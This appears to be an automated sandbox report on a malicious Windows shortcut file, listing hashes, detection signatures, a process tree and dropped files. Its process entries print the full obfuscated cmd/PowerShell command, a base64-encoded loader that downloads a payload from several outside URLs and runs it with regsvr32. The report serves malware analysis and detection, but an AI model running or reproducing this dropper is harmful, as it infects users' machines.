Analysis

  • max time kernel
    134s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 11:03

General

  • Target

    b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk

  • Size

    2KB

  • MD5

    fbddf679b584e0f043673397d8642215

  • SHA1

    d1e2a9b2591560b075626140a51f3abbdce61a74

  • SHA256

    b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55

  • SHA512

    7159c50d5532c69b526043ebacb1ccc8690823b67e45422263b9a2dd736ddb50020e136b3d8bf6f1ac95f92901f62de81f778da8fb1120c6c76b594e045d5ff2

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /v:on /c FNBmwxR6QxBkrgJ+BX6Miv/JjezYHuOEw18Vc+d4q4lm2Szx6nmR8zgeg19If6ewK09230Kh||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2304
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\..\IhUyM\AMzbftixnH.WNT
          4⤵
            PID:3536

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\IhUyM\AMzbftixnH.WNT

      Filesize

      14KB

      MD5

      1a187c7f21df4cc93d7218be2a96dcdc

      SHA1

      992198b6c3183a8481f91849772daaaaa5867895

      SHA256

      502cab3f03b5aacb7c1caf53e2ad21140c41d4c5d781e0238525f831035c96d7

      SHA512

      55f2bdd3319354d445cc19d171c92a3cd3f69c5d1d1bbd12dd5080bdc85e1bcef36876af86c5581dfb0004d54ecded2105b48d4e6d5a0806e05ebb4e0cb5b023

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpbcrsdp.tvu.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2304-0-0x00007FFDCF233000-0x00007FFDCF235000-memory.dmp

      Filesize

      8KB

    • memory/2304-6-0x000002CB54F90000-0x000002CB54FB2000-memory.dmp

      Filesize

      136KB

    • memory/2304-11-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2304-12-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp

      Filesize

      10.8MB

    • memory/2304-17-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp

      Filesize

      10.8MB